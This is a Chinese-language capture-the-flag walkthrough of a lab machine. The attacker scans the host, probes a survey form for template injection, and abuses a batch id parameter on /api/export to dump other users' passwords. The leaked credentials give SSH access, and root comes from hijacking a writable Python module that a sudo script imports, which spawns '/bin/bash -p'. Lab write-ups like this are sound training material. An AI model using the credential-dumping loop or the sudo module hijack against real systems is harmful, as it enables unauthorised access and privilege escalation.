信息收集

扫存活主机并定位目标

sudo arp-scan -l
192.168.205.139 08:00:27:f5:68:b0       PCS Systemtechnik GmbH

我这里先用 arp-scan 把网段活主机捞出来,192.168.205.139 看起来就是靶机。

全端口扫描

nmap -p 0-65535 192.168.205.139
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

全端口扫出来只有 22、80、3000,说明攻击面很收敛,重点就放在 Web 和 SSH 凭据获取上。

Web 入口摸索

看 80 和 3000 的响应

curl 192.168.205.139
index

80 端口只回了个 index,没什么直接价值。

curl 192.168.205.139:3000
<title>Redirecting...</title>
...
<a href="/fill">/fill</a>

3000 会跳到 /fill,明显是主业务入口。

curl 192.168.205.139:3000/fill
<form method="POST" action="/fill">
  ...
  <input type="text" name="userid" required placeholder="输入你的ID">
  <input type="password" name="password" required placeholder="输入密码用于团队内部系统分配">
</form>

页面是个“团队成员信息调查”表单,字段就俩:useridpassword。这种地方我会顺手测一把模板注入。

SSTI 试探(失败)

curl -i -c c.txt -b c.txt -X POST 'http://192.168.205.139:3000/fill' \
  --data-urlencode "userid={{7*7}}" \
  --data-urlencode "password=test"
HTTP/1.0 302 FOUND
Location: http://192.168.205.139:3000/view?id=10
Set-Cookie: session=...

我把 {{7*7}} 塞进 userid,服务端给了会话并跳转到 /view?id=10。后面看到页面把它按字面量显示并做了 HTML 转义,这个点的 SSTI 基本能排除。

/api/export 越权拿凭据

枚举接口路径

dirsearch -q -u 192.168.205.139:3000/api
[23:30:15] 400 -   33B  - http://192.168.205.139:3000/api/export

/api/export 直接浮出来了,返回 400 通常意味着“接口存在但参数不对”。

验证参数逻辑和授权边界

curl 'http://192.168.205.139:3000/api/export'
{"error":"Missing id parameter"}

没带 id 会报缺参,接口逻辑清楚了。

curl 'http://192.168.205.139:3000/api/export?id=1'
{"error":"未授权访问!仅限系统内部成员调用此 API。"}

匿名状态访问会被拒绝,说明要带前面问卷流程下发的 session和cookie。

curl -i -b c.txt 'http://192.168.205.139:3000/api/export?id=10'
{
  "_meta":{
    "hint":"提示:此接口支持批量查询,可提高效率(格式:id=1,2,3)",
    "query_type":"single"
  },
  "data":[{"member_user_id":"{{7*7}}","survey_id":10,"system_password":"test"}],
  "status":"success"
}

带上 cookie 后能正常查到我自己的记录。关键是它主动给了提示:支持 id=1,2,3 批量查询。

利用批量查询做越权

curl -i -b c.txt 'http://192.168.205.139:3000/api/export?id=10,1'
{
  "_meta":{"query_type":"batch"},
  "data":[
    {"member_user_id":"{{7*7}}","survey_id":10,"system_password":"test"},
    {"member_user_id":"fake_member_1","survey_id":1,"system_password":"P@ss_fake_1!!"}
  ],
  "status":"success"
}

这一步就坐实了:只要混进“我自己的 id=10”,就能把别人的记录一并带出来,典型越权。

for i in $(seq 1 10); do
  curl -s -b c.txt "http://192.168.205.139:3000/api/export?id=10,$i" \
  | jq -r '.data[]? | "\(.survey_id)\t\(.member_user_id)\t\(.system_password)"'
done
...
6       x3x     p@ssw0rd_x3x
...

批量跑一遍后,真正可用的不是那些 fake 账号,而是 x3x / p@ssw0rd_x3x 这组看起来像系统真实用户凭据。

SSH 落地与本地提权

用泄露凭据登录 SSH

ssh x3x@192.168.205.139
x3x@Survey:~$ id
uid=1001(x3x) gid=1001(x3x) groups=1001(x3x)

凭据可用,直接进了机器,拿到普通用户 x3x

查 sudo 权限

sudo -l
User x3x may run the following commands on Survey:
    (root) NOPASSWD: /usr/bin/python3 /opt/maze_admin/generate_report.py

这里是无密码 sudo 跑一个固定 Python 脚本,提权窗口已经打开了。

分析脚本与可写模块路径

ls -al /opt/maze_admin/generate_report.py
cat /opt/maze_admin/generate_report.py
import os
import sys
import time
sys.path.insert(0, "/opt/maze_admin/libs")

import report_formatter

print("[*] 正在启动 Maze 团队日志分析模块...")
time.sleep(1)
report_formatter.print_header()

print("[*] 分析完成,未发现异常日志。")

脚本把 /opt/maze_admin/libs 插到了 sys.path 前面,再导入 report_formatter,这就要看这个目录和模块文件权限。

ls -la /opt/maze_admin/libs
drwxrwxr-x 2 root x3x  4096 Feb 23 07:23 .
-rw-r--r-- 1 root root  161 Feb 23 07:23 report_formatter.py

目录对组 x3x 可写,虽然原文件不可写,但我可以通过目录写权限重命名旧文件并放一个同名恶意模块。

替换 report_formatter.py 并触发 root shell

恶意模块内容:

import os
def print_header():
    os.system("/bin/bash -p")

执行替换并触发:

cd /opt/maze_admin/libs
mv report_formatter.py 1.py
vim report_formatter.py
sudo /usr/bin/python3 /opt/maze_admin/generate_report.py
[*] 正在启动 Maze 团队日志分析模块...
root@Survey:/opt/maze_admin/libs# id
uid=0(root) gid=0(root) groups=0(root)

generate_report.py 以 root 身份导入了我伪造的 report_formatter/bin/bash -p 直接把 root shell 弹出来了。

权限验证与取证据

cat /root/root.txt /home/x3x/user.txt
flag{root-866fa8a4-b5bc-4907-b549-b89a024f5f47}
flag{user-cafa5f8b-6a6f-4ae5-9fe7-6a734e378acd}

两个 flag 都拿到并验证完成。